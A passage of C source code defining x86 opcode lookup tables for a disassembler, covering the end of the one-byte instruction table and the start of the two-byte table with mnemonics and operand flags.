}, { INSTRUCTION_TYPE_OTHER, "bound", AM_G|OT_v|P_r, AM_M|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "arpl", AM_E|OT_w|P_r, AM_G|OT_w|P_r, FLAGS_NONE, 1 }, // seg FS override { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // seg GS override { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // operand size override { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // address size override { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "push", AM_I|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_EIMUL, "imul", AM_G|OT_v|P_r, AM_E|OT_v|P_r, AM_I|OT_v|P_r,1 }, { INSTRUCTION_TYPE_PUSH, "push", AM_I|OT_b|F_s|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_EIMUL, "imul", AM_G|OT_v|P_r, AM_E|OT_v|P_r, AM_I|OT_b|F_s|P_r,1 }, { INSTRUCTION_TYPE_PRIV, "insb", FLAGS_NONE|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "insv", FLAGS_NONE|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "outsb", FLAGS_NONE|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "outsv", FLAGS_NONE|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jo", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jno", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jc", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jnc", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jz", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jnz", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jna", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "ja", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "js", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jns", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jp", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jpo", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jl", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jnl", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jng", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jg", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "g1", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "g1", AM_E|OT_v, AM_I|OT_v, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "g1", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "g1", AM_E|OT_v, AM_I|OT_b|F_s, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_TEST, "test", AM_E|OT_b|P_r, AM_G|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_TEST, "test", AM_E|OT_v|P_r, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_XCHG, "xchg", AM_E|OT_b|P_w, AM_G|OT_b|P_w, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_XCHG, "xchg", AM_E|OT_v|P_w, AM_G|OT_v|P_w, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOV, "mov", AM_E|OT_b|P_w, AM_G|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOV, "mov", AM_E|OT_v|P_w, AM_G|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOV, "mov", AM_G|OT_b|P_w, AM_E|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOV, "mov", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVSR, "mov", AM_E|OT_w|P_w, AM_S|OT_w|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_LEA, "lea", AM_G|OT_v|P_w, AM_M|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVSR, "mov", AM_S|OT_w|P_w, AM_E|OT_w|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_POP, "pop", AM_E|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "nop", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v|P_w, AM_REG|REG_ECX|OT_v|P_w, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v|P_w, AM_REG|REG_EDX|OT_v|P_w, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v|P_w, AM_REG|REG_EBX|OT_v|P_w, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v|P_w, AM_REG|REG_ESP|OT_v|P_w, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v|P_w, AM_REG|REG_EBP|OT_v|P_w, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v|P_w, AM_REG|REG_ESI|OT_v|P_w, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_XCHG, "xchg", AM_REG|REG_EAX|OT_v|P_w, AM_REG|REG_EDI|OT_v|P_w, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "cbw", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "cwd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_CALL, "callf", AM_A|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "wait", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PUSH, "pushf", FLAGS_NONE|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "popf", FLAGS_NONE|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "sahf", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "lahf", FLAGS_NONE|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EAX|OT_b|P_w, AM_O|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EAX|OT_v|P_w, AM_O|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_O|OT_v|P_w, AM_REG|REG_EAX|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_O|OT_v|P_w, AM_REG|REG_EAX|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOVS, "movsb", FLAGS_NONE|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOVS, "movsd", FLAGS_NONE|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_CMPS, "cmpsb", FLAGS_NONE|P_r, FLAGS_NONE|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_CMPS, "cmpsd", FLAGS_NONE|P_r, FLAGS_NONE|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_TEST, "test", AM_REG|REG_EAX|OT_b|P_r, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_TEST, "test", AM_REG|REG_EAX|OT_v|P_r, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_STOS, "stosb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_STOS, "stosd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_LODS, "lodsb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_LODS, "lodsd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SCAS, "scasb", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SCAS, "scasd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_AL|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_CL|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_DL|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_BL|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_AH|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_CH|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_DH|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_BH|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EAX|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_ECX|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EDX|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EBX|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_ESP|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EBP|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_ESI|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOV, "mov", AM_REG|REG_EDI|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_v, AM_I|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_RET, "retn", AM_I|OT_w|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_RET, "ret", FLAGS_NONE|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_LFP, "les", AM_G|OT_v|P_w, AM_M|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_LFP, "lds", AM_G|OT_v|P_w, AM_M|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOV, "mov", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOV, "mov", AM_E|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "enter", AM_I|OT_w|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_POP, "leave", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_RET, "retf", AM_I|OT_w|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "retf", FLAGS_NONE|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_INT, "int3", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_INT, "int", AM_I|OT_b|P_r, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "into", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "iret", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_b, AM_I1|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_v, AM_I1|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_b, AM_REG|REG_CL|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "g2", AM_E|OT_v, AM_REG|REG_CL|OT_b, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ASC, "aam", AM_I|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_ASC, "aad", AM_I|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "salc", FLAGS_NONE|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "xlat", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "esc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_LOOP, "loopn", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_LOOP, "loope", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_LOOP, "loop", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMPC, "jecxz", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "in", AM_REG|REG_AL|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "in", AM_REG|REG_EAX|OT_v|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "out", AM_I|OT_b|P_w, AM_REG|REG_AL|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "out", AM_I|OT_b|P_w, AM_REG|REG_EAX|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_CALL, "call", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMP, "jmp", AM_J|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMP, "jmpf", AM_A|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_JMP, "jmp", AM_J|OT_b|P_x, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "in", AM_REG|REG_EAX|OT_b|P_w, AM_REG|REG_EDX|OT_w|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "in", AM_REG|REG_EAX|OT_v|P_w, AM_REG|REG_EDX|OT_w|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "out", AM_REG|REG_EDX|OT_w|P_w, AM_REG|REG_EAX|OT_b|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "out", AM_REG|REG_EDX|OT_w|P_w, AM_REG|REG_EAX|OT_v|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "ext", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "int1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "ext", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "ext", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "hlt", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "cmc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "g3", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "g3", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "clc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "stc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "cli", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "sti", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "cld", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "std", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "g4", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "g5", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, }; // 2-byte instructions INST inst_table2[256] = { { INSTRUCTION_TYPE_OTHER, "g6", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "g7", AM_M|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "lar", AM_G|OT_v|P_w, AM_E|OT_w|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "lsl", AM_G|OT_v|P_w, AM_E|OT_w|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "loadall286",FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "clts", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "loadall", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "invd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "wbinvd", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "ud2", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"movups", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"movups", AM_W|OT_ps|P_w, AM_V|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"movlps", AM_V|OT_q|P_w, AM_M|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"movlps", AM_M|OT_q|P_w, AM_V|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"unpcklps",AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"unpcklps",AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"movhps", AM_V|OT_q|P_w, AM_M|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"movhps", AM_M|OT_q|P_w, AM_V|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "mov", AM_R|OT_d|P_w, AM_C|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "mov", AM_R|OT_d|P_w, AM_D|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "mov", AM_C|OT_d|P_w, AM_R|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "mov", AM_D|OT_d|P_w, AM_R|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "mov", AM_R|OT_d|P_w, AM_T|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "mov", AM_T|OT_d|P_w, AM_R|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"movaps", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"movaps", AM_W|OT_ps|P_w, AM_V|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"cvtpi2ps",AM_V|OT_ps|P_r, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"movntps",AM_M|OT_ps|P_w, AM_V|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"cvttps2pi",AM_P|OT_q|P_r, AM_W|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"cvtps2pi",AM_P|OT_q|P_r, AM_W|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"ucomiss",AM_V|OT_ss|P_w, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE|TYPE_3,"comiss", AM_V|OT_ss|P_w, AM_W|OT_ss|P_w, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "wrmsr", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "rdtsc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "rdmsr", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "rdpmc", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "sysenter", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "sysexit", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MOVC, "cmovo", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmovno", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmovb", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmovae", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmove", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MOVC, "cmovne", AM_G|OT_v|P_w, AM_E|OT_v|P_r, FLAGS_NONE, 1 }, { 